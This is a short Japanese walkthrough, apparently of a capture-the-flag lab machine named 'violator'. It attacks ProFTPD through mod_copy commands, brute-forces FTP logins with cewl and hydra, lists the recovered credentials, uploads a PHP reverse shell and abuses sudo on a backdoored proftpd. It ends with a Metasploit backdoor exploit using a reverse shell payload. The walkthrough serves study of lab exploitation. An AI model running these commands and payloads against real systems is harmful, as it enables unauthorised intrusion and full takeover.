ProFTPD 1.3.5rc3における権限昇格の脆弱性分析

情報収集

対象システムの基本情報:

IPアドレス 開放ポート
192.168.101.148 21(FTP), 80(HTTP), 2121(代替FTP)
$ nmap -p- 192.168.101.148 --min-rate 1000 -sC -sV

ProFTPDの脆弱性悪用

ProFTPD 1.3.5rc3には以下のコマンドが有効:

ftp> site cpfr /proc/self/root
ftp> site cpto /var/www/html/root

パスワードクラッキング

$ cewl -v 'https://en.wikipedia.org/wiki/Violator_(album)' -d 1 -w wordlist.txt
$ hydra -L users.txt -P wordlist.txt ftp://192.168.101.148

権限昇格手法

取得した認証情報を使用:

username: af
password: enjoythesilence

username: dg 
password: policyoftruth

リバースシェル確立

$ cp /usr/share/webshells/php/php-reverse-shell.php /var/www/html
$ ftp 192.168.101.148
ftp> put php-reverse-shell.php

ルート権限取得

www-data@violator:/$ python -c 'import pty;pty.spawn("/bin/bash")'
dg@violator:/$ sudo -l
dg@violator:/$ sudo /home/dg/bd/sbin/proftpd

Metasploitを利用した攻撃

msf> use exploit/unix/ftp/proftpd_133c_backdoor
msf> set payload cmd/unix/reverse_perl
msf> set lhost 192.168.101.128
msf> set rhost 127.0.0.1
msf> set rport 2121
msf> exploit

タグ: ProFTPD 権限昇格 脆弱性攻撃 Metasploit リバースシェル

5月13日 00:09 投稿